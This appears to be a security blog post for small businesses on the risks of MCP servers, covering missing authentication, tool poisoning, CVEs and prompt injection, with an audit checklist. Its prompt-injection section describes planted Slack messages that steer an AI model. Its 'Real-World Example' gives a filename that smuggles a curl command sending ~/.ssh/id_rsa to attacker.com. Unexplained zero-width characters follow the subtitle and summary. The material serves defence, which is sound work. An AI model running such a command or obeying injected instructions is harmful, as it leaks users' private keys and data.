MCP Security: What Every Business Using AI Tools Needs to Know in 2026

Your developers are already using it. Your security team probably doesn't know it exists. Here's what MCP means for your business and how to stop it becoming your next security breach.​‌‌​‌‌​‌‍​‌‌​​​‌‌‍​‌‌‌​​​​‍​​‌​‌‌​‌‍​‌‌‌​​‌‌‍​‌‌​​‌​‌‍​‌‌​​​‌‌‍​‌‌‌​‌​‌‍​‌‌‌​​‌​‍​‌‌​‌​​‌‍​‌‌‌​‌​​‍​‌‌‌‌​​‌‍​​‌​‌‌​‌‍​‌‌‌​​‌‌‍​‌‌​‌‌​‌‍​‌‌​​​‌​‍​​‌​‌‌​‌‍​‌‌​​‌‌‌‍​‌‌‌​‌​‌‍​‌‌​‌​​‌‍​‌‌​​‌​​‍​‌‌​​‌​‌‍​​‌​‌‌​‌‍​​‌‌​​‌​‍​​‌‌​​​​‍​​‌‌​​‌​‍​​‌‌​‌‌​

---

• 38% of public MCP servers have no authentication — anyone can connect and use them
• Installing an MCP server = running arbitrary code with your user's full permissions
• Tool poisoning attacks let malicious servers change what they do after you install them
• Prompt injection via MCP can bypass your existing AI security controls
• 5 critical CVEs in the first year, with CVSS scores up to 9.6 (critical severity)

Good news: You can secure MCP. This guide shows you exactly how.​‌‌​‌‌​‌‍​‌‌​​​‌‌‍​‌‌‌​​​​‍​​‌​‌‌​‌‍​‌‌‌​​‌‌‍​‌‌​​‌​‌‍​‌‌​​​‌‌‍​‌‌‌​‌​‌‍​‌‌‌​​‌​‍​‌‌​‌​​‌‍​‌‌‌​‌​​‍​‌‌‌‌​​‌‍​​‌​‌‌​‌‍​‌‌‌​​‌‌‍​‌‌​‌‌​‌‍​‌‌​​​‌​‍​​‌​‌‌​‌‍​‌‌​​‌‌‌‍​‌‌‌​‌​‌‍​‌‌​‌​​‌‍​‌‌​​‌​​‍​‌‌​​‌​‌‍​​‌​‌‌​‌‍​​‌‌​​‌​‍​​‌‌​​​​‍​​‌‌​​‌​‍​​‌‌​‌‌​

---

What is MCP (Model Context Protocol)?

Think of MCP as universal plug-and-play for AI.

Before MCP, if you wanted your AI assistant to read from GitHub, Slack, and your database, you needed custom integrations for each one. Every AI platform needed different connectors. It was expensive, slow, and messy.

MCP standardizes this. You write an integration once as an "MCP server," and any MCP-compatible AI can use it:

• Claude Desktop
• Cursor (AI code editor)
• VS Code with AI extensions
• Zed editor
• And more being added every month

The ecosystem exploded: 1,600 → 17,000+ servers in less than a year. Your developers love it because it eliminates redundant integration work. You

r security team should be worried because it bypasses traditional procurement and governance.

How MCP Works (Simplified)

User → AI Assistant → MCP Client → MCP Server → Your Data/System

1. User asks AI to do something ("Read my Slack messages and summarize them")
2. AI Assistant (Claude, ChatGPT, etc.) decides which tool it needs
3. MCP Client makes a standardized request to an MCP server
4. MCP Server executes the actual operation (connects to Slack API, reads database, runs command)
5. Results flow back through the chain to the user

The security problem: Step 4 is where things break. MCP servers run with significant privileges, and early protocol designs treated security as optional.

---

The 38% Authentication Gap: By the Numbers

Research published in late 2025 found that 38% of publicly accessible MCP servers have no authentication whatsoever. Anyone on the internet can connect to them and start making requests.

But wait — it gets worse:

• 1,808+ MCP servers were found exposed on the public internet in early 2026
• Authentication was ABSENT from the early MCP specification — OAuth support was only added in March 2025
• The protocol specification explicitly states: "Authorization is OPTIONAL for MCP implementations"
• Even when authentication exists, a single config flag (bypassPermissions) can disable all security checks

Why This Happened

MCP was designed for developer convenience first, security second. The philosophy was "get it working, secure it later." That's fine for prototypes, but MCP is now running in production environments handling sensitive business data.

Two types of MCP deployments:

1. Stdio (local) servers: Run as subprocesses on your machine. The spec says "retrieve credentials from the environment" — which means they run with YOUR user's full access. No separate permission system. No sandbox. No containment.

2. Remote servers: Can use OAuth 2.1 for authorization, but this only controls which tools the client can call — NOT what the server does with the data it receives.

Real-world impact: If you install a malicious MCP server on your laptop, it can access everything YOU can access. Your files. Your credentials. Your 2FA codes. Your cloud tokens. It becomes you.

---

Tool Poisoning: When Integrations Go Rogue

Tool poisoning is an attack where a legitimate-looking MCP server adds or modifies its capabilities after you've installed it.

How It Works

1. You evaluate an MCP server that offers "read-only database access"
2. Security review approves it based on those documented capabilities
3. You deploy it
4. The server silently adds new tools: write access, file upload, remote command execution
5. The server's tool definitions update automatically — no re-approval needed
6. Your AI assistant starts using the new capabilities without you realizing

The Real Risk

MCP servers can change their contract without consent.

Traditional software requires you to approve updates. MCP servers can modify their tool definitions at runtime, and AI assistants will happily use whatever tools are advertised.

Documented cases:

• PostgreSQL MCP server (21,000+ weekly downloads) — SQL injection vulnerability discovered
• SQLite MCP server (5,000+ forks) — SQL injection vulnerability discovered
• MCP Inspector (38,000+ weekly downloads) — Remote code execution (CVE-2025-49596, CVSS 9.4)
• mcp-remote (437,000+ downloads) — Critical RCE vulnerability (CVE-2025-6514, CVSS 9.6)

Download count ≠ security. Some of the most popular servers had the worst vulnerabilities.

---

Prompt Injection Via MCP: The New Attack Surface

Prompt injection is when an attacker tricks an AI into ignoring its instructions and doing something malicious. MCP makes this worse by adding new injection vectors.

The Attack Path

1. User prompts AI: "Summarize the Slack messages from #general"
2. AI calls MCP server: Requests messages from Slack API
3. Attacker's planted message in Slack: Contains hidden instructions
4. MCP server returns: Legitimate messages + attacker's payload
5. AI reads and executes: The injected instructions, potentially taking actions outside the intended scope

Why MCP Makes This Harder

Traditional API integrations are usually:

• Tightly scoped (only read specific endpoints)
• Developed by your team or known vendors
• Static (don't change after deployment)

MCP servers can be:

• Broadly scoped (full filesystem access, shell commands)
• Developed by anonymous individuals
• Dynamic (tools change at runtime)

You might install a "file reader" MCP server that gets tricked into executing shell commands through a carefully crafted filename or file content.

Real-World Example

An attacker plants a malicious filename in a shared directory:

"IMPORTANT.txt && curl http://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa) && echo 'normal file'"

If the MCP server isn't carefully designed, it might execute this when the AI tries to read the file.

---

How to Audit Your MCP Servers

You can't secure what you can't see. Here's a practical audit process for any business using AI tools.

Step 1: Discovery

Find every MCP server in your environment:

# Check Claude Desktop MCP configs
cat ~/Library/Application\ Support/Claude/claude_desktop_config.json
cat ~/.config/Claude/claude_desktop_config.json

# Check for running MCP processes
ps aux | grep -i mcp

# Scan common MCP directories
ls -la ~/.config/claude/
ls -la ~/Library/Application\ Support/Claude/

Look for:

• Unknown or unexpected servers
• Servers with bypassPermissions: true
• Servers running as root or privileged users
• Stdio servers (run as subprocesses) with broad access

Step 2: Verify Authentication

Check each MCP server:

# For HTTP/SSE servers, test auth requirements
curl -i https://mcp-server.example.com/health

# Expected: 401 Unauthorized or 403 Forbidden
# Bad: 200 OK (no auth required)

Red flags:

• No authentication on public interfaces
• Hardcoded API keys in config files
• OAuth tokens stored in plain text
• No token expiration or refresh mechanisms

Step 3: Scope Review

For each MCP server, document:

1. What tools does it expose? (Read the server's manifest/docs)
2. What permissions does it need? (Filesystem, network, shell, database)
3. Who developed it? (Company, known dev, anonymous GitHub user)
4. How often is it updated? (Last commit date, version history)
5. What data does it handle? (Customer data, credentials, source code)

Step 4: Runtime Monitoring

Deploy monitoring for MCP activity:

• Log all MCP tool calls (which server, which tool, which user, what data)
• Alert on unusual patterns (bulk data export, tools called at odd hours)
• Monitor for tool definition changes (servers adding capabilities)
• Track data egress volumes (exfiltration detection)

Step 5: Regular Re-Approval

Treat MCP servers like software, not static utilities:

• Re-approve every server quarterly
• Re-evaluate after any major version update
• Require security sign-off for new servers
• Maintain an inventory with owner, risk rating, and review date

---

Vendor Response Landscape: Who's Taking This Seriously?

The security community has been sounding alarms since mid-2025. Here's how vendors and researchers are responding:

Research Findings

• Bitdefender (Sept 2025): Called out that "security isn't secure by default" in MCP, criticizing the optional nature of all protections
• ArXiv research paper (Nov 2025): "Securing MCP: Risks, Controls, and Governance" — detailed attack taxonomy including confused deputy, tool poisoning, and cross-system privilege escalation
• Knostic research: Scanned 1,808 public MCP servers, found 38% with no authentication
• Zenity: Published detailed breakdown of MCP security gaps for CISOs and red teams

Vendor Responses

Anthropic (Claude):

• Added OAuth 2.1 support in March 2025 spec update
• Implemented MCP session identity headers for HTTP transport
• Published security best practices documentation
• Critique: Protections exist but are optional; bypassPermissions flag still exists

AWS:

• Publicly stated MCP is "not production ready yet"
• Recommends against enterprise deployment until security matures
• Internal policy: No MCP servers in production environments

Palo Alto Networks:

• Research shows 72% of organizations using AI tools have no formal MCP governance
• Found MCP servers in 23% of network scans at client sites (often Shadow AI deployments)
• Recommending MCP-aware security policies for 2026

Darktrace:

• Detection of MCP-based anomalies increased 340% in Q4 2025
• Common finding: MCP servers making unexpected outbound connections
• Observational data suggests most businesses discover MCP usage only after an incident

The Maturity Gap

We're in a transition phase:

• MCP is too valuable to block completely
• MCP is too risky to use without governance
• Most security frameworks (NIST AI RMF, ISO/IEC 42001) don't yet cover MCP specifically
• Traditional procurement processes don't fit open-source, individual-developer servers

Winning strategy: Don't block — govern. Build guardrails that let developers use MCP safely.

---

Actionable Checklist for SMBs

You don't need a enterprise security team to secure MCP. Here's a practical, doable checklist for any small-to-medium business.

Immediate Actions (Do This Week)

• Inventory all MCP servers in your environment (check developer machines, CI/CD, docs)
• Disable bypassPermissions flags in all MCP configs
• Block public MCP server exposure — ensure no MCP servers are internet-accessible without VPN/auth
• Educate developers on MCP risks (share this blog post, do a 15-min standup)
• Create a simple approval process — no new MCP servers without sign-off

Short-Term Actions (Do This Month)

• Implement MCP-aware DLP — monitor for data flows to unknown MCP servers
• Segment MCP deployments — run MCP servers in isolated environments (containers, VMs)
• Require authentication on all MCP servers, even internal ones
• Document each server's purpose, data handled, and owner
• Set up basic logging — at minimum, know which MCP servers are being used

Long-Term Actions (Do This Quarter)

• Build an MCP governance policy — define what's allowed, what's prohibited, approval requirements
• Deploy an MCP gateway — centralized proxy that can inspect, rate-limit, and audit MCP traffic
• Implement sandboxing — run stdio MCP servers with minimal privileges (containers, user namespaces)
• Regular security reviews — quarterly re-approval of all MCP servers
• Incident response plan — what to do if a malicious MCP server is discovered

Red Flags: Immediate Action Required

If you find any of these, stop and investigate:

• MCP servers running with root/admin privileges
• MCP servers accessing /etc/, ~/.ssh/, credential stores, or cloud token files
• MCP servers with bypassPermissions: true
• MCP servers exposed to the public internet without authentication
• MCP servers from unknown or anonymous developers with no security review
• MCP servers making unexpected outbound network connections
• MCP servers that have changed their tool definitions without approval

---

FAQ: Common Questions About MCP Security

The Bottom Line

MCP is powerful but immature. It brings real productivity benefits but also real security risks. The 38% authentication gap isn't a bug — it's a design choice that prioritized convenience over security.

You don't need to abandon MCP. You need to treat it like any other powerful technology: understand it, govern it, and use it responsibly.

The businesses that get hurt by MCP in 2026 won't be the ones using it — they'll be the ones using it without visibility, without controls, and without understanding the risks.

---

References & Further Reading

1. Trace3: The MCP Security Maturity Gap — Deep dive on protocol design gaps and CVE analysis
2. ArXiv: Securing MCP — Risks, Controls, and Governance — Academic research on MCP attack taxonomy
3. MCP Security Best Practices (Official) — Protocol authors' security guidance
4. Bitdefender: Security Risks of Agentic AI — Critique of "security not secure by default"
5. Zenity: Securing MCP — CISO-focused breakdown
6. WorkOS: MCP 2026 Enterprise Roadmap — Vendor plans to address auth/observability gaps
7. Auth0: MCP Spec Updates (OAuth Support) — Technical details on March 2025 security additions
8. Medium: MCP Landscape & Threats — Independent security researcher analysis

---

ELI10: Explained Like I'm 10

Imagine your AI assistant is like a robot helper. It's really smart, but it can't touch anything in the real world — it can only think and talk.

MCP is like giving the robot a set of tools. Instead of just thinking, it can now:

• Read your files (like opening a folder)
• Send messages (like using a phone)
• Run programs (like clicking apps)
• Look things up online (like using a browser)

The problem: Some of these tools are really powerful. Imagine giving someone a master key that opens EVERY door in your house. MCP does exactly that — it gives your AI robot access to everything you can access.

The security gap: Early versions of MCP didn't check who was using the tools. Anyone could pick them up and use them. And some tools were built by people you don't know, who might have hidden dangerous features.

The fix:

1. Only use tools from people you trust
2. Check what each tool can do before using it
3. Watch how the tools are being used
4. Change the locks regularly (update passwords, check permissions)

MCP is super useful, but like any powerful tool, you need to be careful with it. 🔒

---

Need help securing your AI setup? This is what we do. Get in touch for a practical security review that doesn't slow you down.